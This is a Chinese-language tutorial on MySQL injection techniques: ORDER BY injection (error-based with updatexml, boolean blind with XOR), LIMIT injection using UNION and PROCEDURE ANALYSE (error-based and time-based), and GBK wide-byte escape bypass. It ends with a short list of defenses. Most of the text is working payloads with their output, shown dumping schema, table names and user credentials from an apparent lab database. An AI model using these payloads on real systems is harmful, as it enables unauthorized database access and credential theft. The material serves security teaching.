order by /limit注入 以及宽字节注入

order by注入

介绍

顾名思义,注入点出现在oder by后面即可称为order by 注入

正常的oder by 语句:

select * from users order by id desc;

当desc此处位置参数可控时,即有可能存在oreder by注入,那么如何在这样的情况下注出我们想要的数据呢?

1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击

2.如果没有回显,可尝试盲注的手法来注入

通过报错注入(有回显)

这里用updatexml函数来执行报错注入的效果:

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'        //获取当前数据库

获取数据库个数

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

获取数据库列表

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'

获取表个数

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'

获取表名

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'

获取字段个数

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'

获取字段名

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'

获取信息

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'

通过盲注(没有回显)

另外就是没有order by注入没有回显的情况,这时就该用到盲注了,也就是说采取根据页面回显的状态进行判断的形式来进行布尔盲注。

首先这里运用到了一个异或的知识,0异或任何数值都还是这个值的本身,比如说0^10010的值还是10010

接着再来看刚刚的简单sql语句

select * from users order by id desc;

这里的desc是可控字符串的话,我们让这条语句变下形:

select * from users order by id ^0;

这样的话,由于order by默认是升序排列的,没有desc也没有影响,同时,加上了^0也还是id本身,所以跟原来正常的排序没有任何的变化。

select * from users order by id ^1;

但如果是加上了^1的话,就会跟原来的排序发生明显变化,盲注也就通过这里的变化来判断我们注入的sql语句是否返回1。

另外,这里的盲注还用到了regexp,最终的sql注入语句变为:

select * from users order by id ^(select(select version()) regexp '^5');

limit 注入

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

执行语句

select id from users limit 0,1

这种情况下的 limit 后面可以使用union进行联合查询注入执行语句

select id from users limit 0,1 union select username from users;

存在 order by 关键字

执行语句

select id from users order by id desc limit 0,1;

此时后面再次使用union将会报错
除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还可跟PROCEDUREINTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

使用 PROCEDURE函数进行注入
ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入
如果不回显那就延迟注入

select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

宽字节注入

原理:宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“经过转义符 “ \ ” 。

在重新详细了解宽字节注入之前,我认为宽字节注入只是出现在网站使用GBK编码的时代,现在已经很少出现了,但是实际上宽字节不只是出现在GBK编码中。

在PHP中,通过iconv()进行编码转换时,也可能出现宽字节注入。

还有一个误区:

这里的编码问题不是出现在HTML页面编码,而是与数据库的编码形式有关,一般我们在建立一个数据库的时候会让我们选择数据库的编码形式,所以有时候网站虽然是UTF-8写的,但是如果数据库是GBK的形式,也会出现宽字节,现实这样建站的奇葩应该很少叭。。。

宽字节编码有哪些:

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节

MySQL中用于转义的函数有:

addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc

绕过思路:

因为宽字节注入主要是吃掉 \ ,所以一般时候加一个 %df 这种就可以吃掉,其实加三个%df也可以吃掉,只要是奇数个%df即可。

防御方法:
1.设置character_set_client=binary,将数据以二进制形式传递
2.矫正人们对于mysql_real_escape_string的误解,单独调用set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。
3.谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

你可能感兴趣的:(数据库,mysql,java)